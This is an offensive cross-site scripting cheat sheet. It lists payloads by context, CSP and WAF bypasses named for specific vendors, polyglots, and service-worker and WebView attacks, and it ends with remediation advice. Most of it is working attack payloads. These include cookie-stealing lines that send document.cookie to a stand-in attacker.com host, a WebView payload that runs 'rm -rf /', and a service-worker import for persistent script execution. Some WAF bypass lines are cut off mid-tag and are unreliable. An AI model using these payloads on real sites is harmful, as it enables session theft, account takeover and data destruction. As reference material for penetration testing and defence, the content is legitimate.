Offensive Xss

JavaScript Context Vulnerabilities

• String termination: ';alert(1);//
• Template literals: ${alert(1)}
• JSON injection: {"key":"value","":"";alert(1);//"}
• Escaped quotes: \";alert(1);//

URL Context Vulnerabilities

• javascript: protocol (blocked by strict CSP): javascript:alert(1)
• data: URI (blocked by strict CSP): data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
• vbscript: protocol (IE only, historic): vbscript:alert(1)

DOM-Based Vulnerabilities

• Location sources (window.location):

  document.location
  document.URL
  document.referrer
  window.location.href
  window.location.hash
  

• DOM sinks:

  document.write()
  innerHTML
  outerHTML
  insertAdjacentHTML()
  eval()
  setTimeout()/setInterval()
  

Advanced XSS Techniques

CSP Bypass Techniques

• Key CSP Directives:

  script-src: Controls JavaScript sources
  default-src: Default fallback for resource loading
  child-src: Controls web workers and frames
  connect-src: Restricts URLs for fetch/XHR/WebSocket
  frame-src: Controls frame sources
  frame-ancestors: Controls page embedding
  img-src: Controls image sources
  manifest-src: Controls manifest files
  media-src: Controls media file sources
  object-src: Controls plugins
  base-uri: Controls base URL
  form-action: Controls form submissions
  

• Common Bypass Methods:

  1. CSP Misconfiguration:

     # Overly permissive
     default-src 'self' *;
     
     # Unsafe directives
     script-src 'unsafe-inline' 'unsafe-eval' data: https://www.google.com
     

  2. JSONP Endpoint Abuse:

     # If accounts.google.com is allowed
     https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
     

  3. CSP Injection: When policy is reflected from user input

     # Original policy gets modified via user input
     script-src 'self' trusted.com user_controlled_input;
     

  4. Trusted Types Gaps:

     • Policies that call policy.createHTML(location.hash) still sink untrusted input
     • Legacy libraries that bypass Trusted Types via setAttribute('onclick', ...)

• JSONP endpoints: <script src="https://vulnerable.com/jsonp?callback=alert(1)"></script>

• Unsafe eval: <script src="data:;base64,YWxlcnQoMSk="></script>

• DOM-based bypass: Using allowed sources

• Trusted Types bypass

Mutation XSS (mXSS)

• Parser-based injection using valid HTML that mutates when parsed
• Bypasses WAF and sanitizers through browser parsing quirks

Polyglot XSS

• Single payloads that work in multiple contexts:

  jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
  

Progressive Web App (PWA) XSS

• Service Worker Hijacking: Persistent XSS via malicious SW registration

  // Inject malicious service worker
  navigator.serviceWorker.register("/evil-sw.js");
  // evil-sw.js intercepts all network requests
  

• Manifest Injection: XSS in web app manifests

  {
    "start_url": "javascript:alert(document.cookie)",
    "name": "<img src=x
  }
  

• Push Notification XSS: Payload in notification body

  // If notification.body is rendered without sanitization
  registration.showNotification("Alert", {
    body: "<img src=x
  });
  

Mobile WebView XSS

Android WebView:

// setJavaScriptInterface XSS → Native code execution
webView.addJavascriptInterface(new Object() {
    @JavascriptInterface
    public void exec(String cmd) {
        Runtime.getRuntime().exec(cmd);
    }
}, "Android");
// XSS payload: <script>Android.exec('rm -rf /')</script>

// loadDataWithBaseURL universal XSS
webView.loadDataWithBaseURL("file:///android_asset/", userContent, "text/html", "UTF-8", null);

iOS WKWebView:

// evaluateJavaScript injection
webView.evaluateJavaScript("alert('\(userInput)')")

// Custom URL scheme XSS
// myapp://profile?name=<script>alert(1)</script>

WAF Bypass Techniques

<!-- Cloudflare bypass (2024-2025) -->
<svg><animateTransform

<!-- Akamai bypass using Unicode normalization -->
<img src=x

<!-- AWS WAF bypass with nested encoding -->
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

<!-- Imperva bypass using HTML entities -->
<img src=x

<!-- F5 BIG-IP bypass -->
<svg/onload=alert(1)//
<marquee

<!-- Wordfence bypass (WordPress) -->
<base href="javascript:/a/-alert(1)//">

Speculation Rules API Risks (Chrome 121+)

<script type="speculationrules">
  {
    "prefetch": [
      {
        "source": "list",
        "urls": ["https://victim.com/xss?payload=<script>"]
      }
    ]
  }
</script>
<!-- Prefetch can trigger XSS in some edge cases -->

Methodologies

Tools

XSS Discovery Tools

• Burp Suite: Extensions like Active Scan++, Reflector, JS Link Finder
• OWASP ZAP: Automated scanning and manual testing
• XSStrike: Advanced XSS detection
• DOMPurify Tester: Testing sanitization implementations
• Acunetix 15: ships an LLM‑powered mutation engine (2024).
• Burp Suite “DAST+AI” mode: context‑aware scanner released in Burp 2024.8.
• XSSInspector AI/ML: open‑source reinforcement‑learning fuzzer.
• ParamSpider 3: uses an LLM to infer hidden parameters across large estates.

Blind XSS Tools

• XSS Hunter: Managed service for blind XSS detection
• XSS.Report: Open-source blind XSS framework
• Hookbin: Capturing HTTP requests from triggered payloads
• Canarytokens: For advanced detection

Browser Development Tools

• Firefox DevTools: DOM inspector, debugger
• Chrome DevTools: Network monitor, console
• DOM Invader: Burp extension for DOM XSS

Testing Methodologies

flowchart TD
    A[XSS Testing Process] --> B[Reconnaissance]
    B --> C[Initial Testing]
    C --> D[Context Analysis]
    D --> E[Context-Based Testing]
    E --> F[Filter Bypass]
    F --> G[Impact Assessment]

    B --> B1[Map Application]
    B --> B2[Identify Input Vectors]
    B --> B3[Review Client-Side Code]

    C --> C1[Simple Detection Payloads]
    C --> C2[Document Responses]

    D --> D1[HTML Context]
    D --> D2[JavaScript Context]
    D --> D3[CSS Context]
    D --> D4[URL Context]

    E --> E1[Context-Specific Payloads]

    F --> F1[WAF Bypass]
    F --> F2[Encoding Tricks]
    F --> F3[Alternative Syntax]

    G --> G1[Auth Bypass]
    G --> G2[Cookie Theft]
    G --> G3[Session Hijacking]

1. Reconnaissance

• Map the application and identify input vectors
• Analyze input processing and output contexts
• Review client-side code for DOM manipulations
• Identify sanitization/validation mechanisms

2. Initial Testing

• Test simple detection payloads for each input point
• Observe how application handles special characters
• Look for reflections in responses
• Document filtered/encoded characters
• Note cookie behavior: SameSite=Lax is default in modern browsers; prefer non‑cookie state theft (tokens in storage, CSRFable actions) for impact

3. Context-Based Testing

# HTML Context
<script>fetch('https://attacker.com/'+document.cookie)</script>
<img src=x

# Attribute Context
" autofocus x="
' autofocus x='

# JavaScript Context
';fetch('https://attacker.com/'+document.cookie);//
';fetch('https://attacker.com/'+document.cookie);//

# URL Context
javascript:fetch('https://attacker.com/'+document.cookie)

Remediation Recommendations

Sanitizer API (Native Browser Protection)

The Sanitizer API provides built-in, native HTML sanitization in modern browsers (Chrome/Edge 105+, Safari experimental):

// Create a sanitizer instance
const sanitizer = new Sanitizer();

// Safe HTML insertion
element.setHTML(userInput, { sanitizer });

// Configure allowed elements and attributes
const customSanitizer = new Sanitizer({
  allowElements: ["b", "i", "em", "strong", "p"],
  allowAttributes: {
    class: ["p", "em"],
  },
  blockElements: ["script", "style"],
});

// Use custom sanitizer
element.setHTML(untrustedHTML, { sanitizer: customSanitizer });

// Get sanitized string (doesn't set DOM)
const clean = sanitizer.sanitize(dirtyHTML);

Browser Support (2025):

• ✅ Chrome/Edge 105+
• ✅ Firefox 117+ (behind flag)
• ⚠️ Safari 17+ (experimental)

Fallback for older browsers:

if (Element.prototype.setHTML) {
  element.setHTML(userInput, { sanitizer: new Sanitizer() });
} else {
  // Fallback to DOMPurify
  element.innerHTML = DOMPurify.sanitize(userInput);
}

Trusted Types

Modern Chromium‑based browsers support Trusted Types, a CSP extension that turns classic string‑based XSS sinks into typed ones. Enable it with

<meta
  http-equiv="Content-Security-Policy"
  content="require-trusted-types-for 'script'; trusted-types default;"
/>

All assignments to innerHTML, eval, or similar APIs now require a TrustedHTML instance produced by a registered policy, making most DOM‑XSS impossible by default. Angular 17+, React DOM 19 (experimental) and other frameworks enable Trusted Types automatically during builds.

Combine with secure cookies:

• Set-Cookie: session=...; HttpOnly; Secure; SameSite=Strict
• Prefer server‑side sessions; avoid putting tokens in localStorage

Modern CSP Patterns (2025)

A strict policy for an SPA might be:

default-src 'self';
script-src 'nonce-<random>' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';

• Hash/nonce + strict-dynamic removes host allow‑lists while still blocking inline scripts
• object-src 'none' and base-uri 'none' close legacy vectors
• require-trusted-types-for 'script' activates Trusted Types

Fetch‑Metadata & CORP/COEP/COOP

Browsers add Sec-Fetch-* headers to every request. Servers can block cross‑site, state‑changing requests:

// Express middleware example
app.use((req, res, next) => {
  if (req.method !== "GET" && req.headers["sec-fetch-site"] === "cross-site") {
    return res.status(403).end();
  }
  next();
});

Combine with
Cross-Origin-Resource-Policy: same-origin,
Cross-Origin-Embedder-Policy: require-corp, and
Cross-Origin-Opener-Policy: same-origin.

Service‑Worker & Wasm‑assisted XSS

• Inject a malicious importScripts('//attacker/sw.js') during a Service‑Worker update to obtain persistent script execution.
• Inspect registrations via DevTools → Application → Service Workers or chrome://serviceworker-internals.
• Bypass keyword filters by encoding gadgets in WebAssembly and instantiating them with WebAssembly.instantiate.

Prototype‑pollution‑to‑XSS Chains

Libraries that merge JSON into the DOM may allow
%7B"__proto__":{"innerHTML":"<img src=x>
to poison future writes and achieve DOM‑XSS. Test wherever Object.assign or deep‑merge utilities are used.